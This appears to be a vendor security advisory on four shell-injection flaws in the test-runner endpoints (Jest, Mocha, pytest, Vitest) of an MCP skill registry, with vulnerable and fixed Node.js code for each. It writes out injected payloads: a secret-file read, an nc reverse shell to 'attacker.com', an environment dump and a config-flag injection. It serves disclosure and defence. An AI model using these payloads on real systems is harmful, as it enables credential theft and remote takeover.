← Security advisories

Claude MCP skill code injection — skill testing and verification pipeline endpoints — SA-SKL-INJECTION36

SA-SKL-INJECTION36 documents four shell injection vulnerabilities in MCP skill registry testing and verification pipeline endpoints. These endpoints allow skill publishers to trigger test suite execution against their skill source code as part of the publish verification workflow: running Jest, Mocha, pytest, or Vitest against the skill directory, generating HTML or JSON report artifacts, and streaming results to the publisher dashboard. All four are implemented using exec() with user-controlled parameters interpolated directly into shell command strings, allowing an attacker to inject arbitrary shell commands that execute in the registry server process with access to all build environment credentials.

SA-SKL-INJECTION36 findings at a glance
CRITICALINJECTION36-001 — exec(`jest --testPathPattern ${testPattern} ${testDir}`); attacker testPattern with ; cat /etc/secrets/JEST_REPORTER_TOKEN exfiltrates test reporting credentials
CRITICALINJECTION36-002 — exec(`mocha ${testFile} --reporter ${reporter}`); attacker reporter with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell
CRITICALINJECTION36-003 — exec(`pytest ${testPath} --html ${reportPath}`); attacker reportPath with ; env > /tmp/out.txt exfiltrates all env vars including PYTEST_COVERAGE_TOKEN
CRITICALINJECTION36-004 — exec(`vitest run ${testDir} --reporter ${outputFormat}`); attacker outputFormat with space-injected --config=/app/secrets/vitest.config.ts reads Vitest configuration including coverage service credentials

INJECTION36-001 — Jest testPattern injection exfiltrates test reporting credentials

The Jest test runner endpoint constructs its command as: exec(`jest --testPathPattern ${testPattern} ${testDir}`) where testPattern is the user-supplied test file filter pattern and testDir is the skill directory path. When the attacker supplies testPattern as foo; cat /etc/secrets/JEST_REPORTER_TOKEN; echo, the shell evaluates the semicolon as a command separator and executes cat /etc/secrets/JEST_REPORTER_TOKEN in the registry process. The token output appears in the Jest command's stdout, which is captured and potentially stored in test result logs or streamed to the publisher dashboard. JEST_REPORTER_TOKEN is the credential used to authenticate test result uploads to the registry's centralized test reporting service — an attacker who exfiltrates it can inject fabricated test results for any skill, circumventing verification gates.

INJECTION36-001 fix: Replace exec() with execFile() and pass arguments as an array: execFile('jest', ['--testPathPattern', testPattern, testDir]). This prevents shell interpretation of metacharacters. Validate testPattern against /^[a-zA-Z0-9_\-\/\.]{1,200}$/ before passing it. Use realpathSync to resolve testDir and confirm it is within the designated skill workspace directory before invoking Jest.

WRONG
// exec() with string interpolation — shell metacharacter injection
const { exec } = require('child_process');
exec(`jest --testPathPattern ${testPattern} ${testDir}`,
  (err, stdout, stderr) => res.json({ stdout, stderr }));
RIGHT
const { execFile } = require('child_process');
const path = require('path');
const WORKSPACE_ROOT = '/tmp/skill-workspaces';

// Validate testPattern: alphanumeric + safe path chars only
if (!/^[a-zA-Z0-9_\-\/\.]{1,200}$/.test(testPattern)) {
  return res.status(400).json({ error: 'invalid_test_pattern' });
}
// Contain testDir within workspace root
const resolvedDir = path.realpathSync(path.join(WORKSPACE_ROOT, testDir));
if (!resolvedDir.startsWith(WORKSPACE_ROOT)) {
  return res.status(400).json({ error: 'path_traversal_detected' });
}
execFile('jest', ['--testPathPattern', testPattern, resolvedDir],
  { env: { PATH: '/usr/local/bin:/usr/bin' } },  // minimal env — no cloud credentials
  (err, stdout, stderr) => res.json({ exitCode: err?.code ?? 0 }));

INJECTION36-002 — Mocha reporter injection establishes reverse shell

The Mocha test runner endpoint constructs: exec(`mocha ${testFile} --reporter ${reporter}`) where reporter is the user-supplied reporter format string. When the attacker supplies reporter as spec; nc attacker.com 4444 -e /bin/sh, the semicolon causes the shell to execute the nc command, establishing an outbound connection to the attacker's server with /bin/sh attached as the interactive shell. The attacker obtains a fully interactive shell running as the registry worker process, with access to all environment variables, mounted secrets, and network connectivity from the registry's internal network segment.

INJECTION36-002 fix: Replace exec() with execFile(). Validate reporter against an explicit allowlist of built-in Mocha reporters: ['spec', 'dot', 'tap', 'json', 'min', 'nyan', 'landing', 'list', 'progress', 'markdown', 'xunit']. Reject any reporter value not in this list. Use realpathSync containment for testFile.

INJECTION36-003 — pytest reportPath injection exfiltrates all process environment variables

The pytest test runner endpoint constructs: exec(`pytest ${testPath} --html ${reportPath}`) where both testPath and reportPath are user-supplied. The reportPath parameter specifies where pytest writes its HTML report output. When the attacker supplies reportPath as /tmp/report.html; env > /tmp/env-dump.txt, the shell executes env > /tmp/env-dump.txt after the pytest invocation, writing all process environment variables — including PYTEST_COVERAGE_TOKEN, ANTHROPIC_API_KEY, database connection strings, and cloud provider credentials — to a world-readable temporary file. A subsequent directory traversal or file read vulnerability anywhere in the registry infrastructure allows the attacker to exfiltrate this dump.

INJECTION36-003 fix: Replace exec() with execFile(). Use realpathSync containment for both testPath and reportPath — confirm that reportPath resolves within the designated report output directory. Pass a minimal env object to execFile that contains only the variables pytest requires to function, with all cloud credentials and API keys excluded.

INJECTION36-004 — Vitest outputFormat space injection reads coverage service credentials

The Vitest test runner endpoint constructs: exec(`vitest run ${testDir} --reporter ${outputFormat}`) where outputFormat is the user-supplied report format. Unlike semicolon injection, this vulnerability uses space injection: the attacker supplies outputFormat as json --config=/app/secrets/vitest.config.ts. The shell treats the space as an argument separator and passes --config=/app/secrets/vitest.config.ts as an additional Vitest CLI flag. Vitest loads the specified configuration file, which may contain sensitive settings including coverage service API credentials, authentication tokens for coverage reporting platforms, and plugin configuration that includes API keys for private package registries.

INJECTION36-004 fix: Replace exec() with execFile() and pass each argument as a separate array element. Validate outputFormat against a strict allowlist: /^(verbose|dot|tap|json|junit)$/. Provide the --config flag from a server-side constant pointing to a minimal, pre-vetted configuration file — never allow the caller to influence the configuration file path. Use realpathSync containment for testDir.

WRONG
// Space injection — attacker injects --config flag via outputFormat
exec(`vitest run ${testDir} --reporter ${outputFormat}`, callback);
RIGHT
// execFile() array — no shell, each arg is atomic
const ALLOWED_FORMATS = new Set(['verbose', 'dot', 'tap', 'json', 'junit']);
const SERVER_VITEST_CONFIG = '/app/config/vitest.base.config.ts';

if (!ALLOWED_FORMATS.has(outputFormat)) {
  return res.status(400).json({ error: 'invalid_output_format' });
}
const resolvedDir = path.realpathSync(path.join(WORKSPACE_ROOT, testDir));
if (!resolvedDir.startsWith(WORKSPACE_ROOT)) {
  return res.status(400).json({ error: 'path_traversal_detected' });
}
execFile('vitest', [
  'run', resolvedDir,
  '--reporter', outputFormat,
  '--config', SERVER_VITEST_CONFIG  // server-side constant — not from user input
], { env: { PATH: '/usr/local/bin:/usr/bin' } }, callback);

SkillAudit's injection scanner detects exec() calls with interpolated user-controlled arguments across Jest, Mocha, pytest, Vitest, and other test runner invocations in a single static analysis pass. Get started free.